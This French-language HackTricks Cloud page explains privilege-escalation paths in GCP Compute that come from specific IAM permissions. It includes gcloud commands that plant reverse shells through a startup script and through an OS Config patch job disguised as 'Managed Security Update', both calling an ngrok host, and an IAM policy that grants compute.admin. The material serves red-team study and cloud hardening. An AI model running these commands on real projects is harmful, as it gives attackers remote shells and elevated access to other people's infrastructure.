GCP - Compute Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Compute
Pour plus dâinformations sur Compute et VPC (rĂ©seau) dans GCP, consultez :
Caution
Notez que pour effectuer toutes les attaques dâescalade de privilĂšges qui nĂ©cessitent de modifier les mĂ©tadonnĂ©es de lâinstance (comme ajouter de nouveaux utilisateurs et des clĂ©s SSH), il est nĂ©cessaire dâavoir des permissions
actAssur le SA attachĂ© Ă lâinstance, mĂȘme si le SA est dĂ©jĂ attachĂ© !
compute.projects.setCommonInstanceMetadata
Avec cette permission, vous pouvez modifier les informations de mĂ©tadonnĂ©es dâune instance et changer les clĂ©s autorisĂ©es dâun utilisateur, ou crĂ©er un nouvel utilisateur avec des permissions sudo. Par consĂ©quent, vous pourrez exĂ©cuter via SSH sur nâimporte quelle instance VM et voler le compte de service GCP avec lequel lâinstance fonctionne.
Limitations :
- Notez que les comptes de service GCP fonctionnant dans des instances VM ont par dĂ©faut un champ dâapplication trĂšs limitĂ©
- Vous devrez pouvoir contacter le serveur SSH pour vous connecter
Pour plus dâinformations sur la façon dâexploiter cette permission, consultez :
Vous pouvez Ă©galement effectuer cette attaque en ajoutant un nouveau script de dĂ©marrage et en redĂ©marrant lâinstance :
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
Cette permission donne les mĂȘmes privilĂšges que la permission prĂ©cĂ©dente mais sur des instances spĂ©cifiques au lieu dâun projet entier. Les mĂȘmes exploits et limitations que pour la section prĂ©cĂ©dente sâappliquent.
compute.instances.setIamPolicy
Ce type de permission vous permettra de vous accorder un rĂŽle avec les permissions prĂ©cĂ©dentes et dâescalader les privilĂšges en les abusant. Voici un exemple ajoutant roles/compute.admin Ă un compte de service :
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
Si OSLogin est activĂ© dans lâinstance, avec cette permission, vous pouvez simplement exĂ©cuter gcloud compute ssh [INSTANCE] et vous connecter Ă lâinstance. Vous nâaurez pas de privilĂšges root Ă lâintĂ©rieur de lâinstance.
Tip
Pour vous connecter avec succĂšs avec cette permission Ă lâintĂ©rieur de lâinstance VM, vous devez avoir la permission
iam.serviceAccounts.actAssur le SA attaché à la VM.
compute.instances.osAdminLogin
Si OSLogin est activĂ© dans lâinstance, avec cette permission, vous pouvez simplement exĂ©cuter gcloud compute ssh [INSTANCE] et vous connecter Ă lâinstance. Vous aurez des privilĂšges root Ă lâintĂ©rieur de lâinstance.
Tip
Pour vous connecter avec succĂšs avec cette permission Ă lâintĂ©rieur de lâinstance VM, vous devez avoir la permission
iam.serviceAccounts.actAssur le SA attaché à la VM.
compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp
Il est possible de créer une machine virtuelle avec un compte de service assigné et de voler le token du compte de service en accédant aux métadonnées pour élever les privilÚges.
Le script dâexploitation pour cette mĂ©thode peut ĂȘtre trouvĂ© ici.
osconfig.patchDeployments.create | osconfig.patchJobs.exec
Si vous avez les permissions osconfig.patchDeployments.create ou osconfig.patchJobs.exec, vous pouvez crĂ©er un travail de patch ou un dĂ©ploiement. Cela vous permettra de vous dĂ©placer latĂ©ralement dans lâenvironnement et dâobtenir une exĂ©cution de code sur toutes les instances de calcul au sein dâun projet.
Notez quâĂ lâheure actuelle, vous nâavez pas besoin de la permission actAs sur le SA attachĂ© Ă lâinstance.
Si vous souhaitez exploiter cela manuellement, vous devrez créer soit un travail de patch ou un déploiement.
Pour un travail de patch, exécutez :
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
Pour déployer un déploiement de correctif :
gcloud compute os-config patch-deployments create <name> ...
Lâoutil patchy pouvait ĂȘtre utilisĂ© dans le passĂ© pour exploiter cette mauvaise configuration (mais maintenant cela ne fonctionne plus).
Un attaquant pourrait également en abuser pour la persistance.
compute.machineImages.setIamPolicy
Accordez-vous des permissions supplĂ©mentaires pour lâimage de calcul.
compute.snapshots.setIamPolicy
Accordez-vous des permissions supplémentaires pour un instantané de disque.
compute.disks.setIamPolicy
Accordez-vous des permissions supplémentaires pour un disque.
Contourner les portĂ©es dâaccĂšs
En suivant ce lien, vous trouverez quelques idĂ©es pour essayer de contourner les portĂ©es dâaccĂšs.
ĂlĂ©vation de privilĂšges locale dans une instance GCP Compute
GCP - local privilege escalation ssh pivoting
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

